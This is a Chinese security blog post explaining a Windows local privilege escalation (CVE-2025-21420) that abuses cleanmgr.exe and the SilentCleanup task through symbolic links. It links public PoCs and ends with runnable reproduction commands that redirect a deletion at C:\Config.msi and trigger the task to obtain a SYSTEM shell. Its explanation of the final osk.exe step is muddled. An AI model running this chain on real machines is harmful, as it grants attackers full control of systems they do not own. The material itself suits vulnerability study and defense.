当前位置: 首页 > news >正文

【内网渗透】CVE-2025-21420 利用cleanmgr本地提权

目录

原理

POC

复现


一个windows本地提权漏洞

这是一个存在于Windows磁盘清理工具(cleanmgr.exe)中的权限提升漏洞。攻击者可以利用该系统组件在处理特定目录时的逻辑缺陷,通过精心构造的符号链接(Symbolic Link),欺骗以高权限(SYSTEM)运行的计划任务,使其删除或移动关键的系统文件,从而最终获得系统的最高控制权(SYSTEM权限)。

原理

1. 漏洞根源:CWE-59 - 文件访问前链接解析不当

这是整个漏洞的核心。简单来说,就是程序在访问一个文件或文件夹之前,没有正确地验证该路径是否已经被“重定向”了。

  • 漏洞如何发生? cleanmgr.exe 在删除 C:\ESD\Windows 等目录的内容之前,没有检查这些路径是否是符号链接,或者是否包含了符号链接。攻击者可以提前创建一个名为 C:\ESD\Windows 的符号链接,并将其指向一个极其重要的系统目录,例如 C:\Windows\System32

2. 利用载体:SilentCleanup 计划任务

漏洞本身只是一个逻辑缺陷,需要有一个“高权限”的执行环境才能被利用来提升权限。

  • 什么是SilentCleanup? 这是一个Windows内置的、用于自动清理磁盘空间的计划任务。关键之处在于:

    • 默认以提升的权限运行(通常是SYSTEM权限)。

    • 会自动触发 cleanmgr.exe(磁盘清理工具)。

    • 普通用户有权手动触发这个任务(通过schtasks /run命令)。

  • 这就构成了完美的利用条件:攻击者以普通用户身份登录后,可以手动运行这个高权限任务,并利用cleanmgr.exe的解析缺陷,让这个高权限进程去执行危险操作。

POC

攻击链条梳理(Step-by-Step)

https://github.com/moiz-2x/CVE-2025-21420_POC

  1. 准备阶段

    • 攻击脚本创建三个目录:C:$Windows.~WSC:\ESD\Windows, 和 C:\ESD\Download。这是cleanmgr.exe在执行SilentCleanup任务时会扫描和清理的目录。

    • 在这些目录里放一些无关紧要的文本文件,让清理工具“有东西可删”。

  2. 设置陷阱

    • 脚本会删除刚刚创建的 C:\ESD\Windows 目录。

    • 然后立即在原地创建一个同名的符号链接,但这个链接指向一个关键的系统目录,例如 C:\Config.msi

    • C:\Config.msi 是一个特殊的目录,它是Windows Installer的缓存文件夹,本身受到一些保护,但此漏洞利用可以绕过这些保护。

  3. 触发攻击

    • 攻击者以普通用户身份手动触发 SilentCleanup 计划任务

    • 任务启动,以SYSTEM权限调用 cleanmgr.exe

    • cleanmgr.exe 开始执行清理逻辑,扫描到 C:\ESD\Windows 目录。由于之前的操作,它现在实际上是一个指向 C:\Config.msi 的符号链接。

    • cleanmgr.exe 未能正确解析此链接(CWE-59),它以为自己正在清理的是无害的临时目录 C:\ESD\Windows,但实际上它的删除操作全部作用在了重要的 C:\Config.msi 目录上!

  4. 实现权限提升

    • 删除 C:\Config.msi 中的文件本身可能不会直接获得权限。PoC采用了更进一步的技巧:文件替换

    • 一种经典的方法是瞄准一个在登录界面易于触发的、会以SYSTEM权限运行的程序,例如 osk.exe(屏幕键盘)

    • 攻击者可以先将自己的恶意可执行文件(例如一个反弹Shell)命名为 osk.exe

    • 通过上述漏洞,让高权限的cleanmgr.exe 删除 真正的 C:\Windows\System32\osk.exe(这通常需要TrustedInstaller权限,但通过此漏洞间接实现了),然后将自己的恶意osk.exe移动或复制到该位置

    • 当下次在登录界面点击“轻松使用”图标并选择打开屏幕键盘时,系统就会以SYSTEM权限执行攻击者的恶意程序,从而完成权限提升。

复现

https://github.com/thezdi/PoC/tree/main/FilesystemEoPs

mkdir "C:\$Windows.~WS" "C:\ESD\Windows" "C:\ESD\Download" && echo AAAA > "C:\$Windows.~WS\text.txt" && echo AAAA > "C:\ESD\Windows\text.txt" && echo AAAA > "C:\ESD\Download\text.txt"
FolderOrFileDeleteToSystem.exe
FolderContentsDeleteToFolderDelete.exe /initial C:\ESD\Windows /target C:\Config.msi
schtasks /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /I
osk
http://www.dtcms.com/a/351839.html

相关文章:

  • Tesseract OCR之基线拟合和单词检测
  • 从0到1详解requests接口自动化测试
  • 遥感专业快速转行 GIS 开发的指南
  • esp32_hid_device 调试遇到的一些问题
  • Python爬虫实战:爬取链家/贝壳数据预测房价走势
  • 【大模型实战篇】基于开源视觉大模型封装多模态信息提取工具
  • 第1节: 微服务架构设计篇
  • WhisperLiveKit:实时语音转文本
  • 面试总结(1)
  • 2. LangChain4J 中的 Hello World
  • 未来几年哪些行业有潜力
  • ICBC_TDR_UShield2_Install.exe [ICBC UKEY]
  • ARP地址解析协议
  • 【AI算力平台】算力高效调度策略——GPU调度
  • mysql 执行sql流程概述
  • FreeRTOS学习笔记(四):任务执行与切换
  • ProfiNet 转 Ethernet/IP基于西门子 S7 - 1500 与罗克韦尔 PLC 的汽车零部件加工线协同案例
  • 基于微服务的水果分销系统-项目分享
  • LeetCode 3000.对角线最长的矩形的面积:一次遍历
  • 【golang长途旅行第32站】反射
  • 【机器学习深度学习】连续微调与权重合并的陷阱与最佳实践
  • 修改C盘缓存文件路径
  • MongoDB /redis/mysql 界面化的数据查看页面App
  • UCIE Specification详解(八)
  • 在MiniOB源码中学习使用Flex与Bison解析SQL语句-第一节
  • Rust 环境搭建与 SeekStorm 项目编译部署(支持中文)
  • Robrain V2.0正式登场:落地人形机器人,引爆智能进化革命
  • Ubuntu操作系统下使用mysql、mongodb、redis
  • [特殊字符] CentOS 7 升级 OpenSSH 10.0p2 完整教程(含 Telnet 备份)
  • 如果 我退休了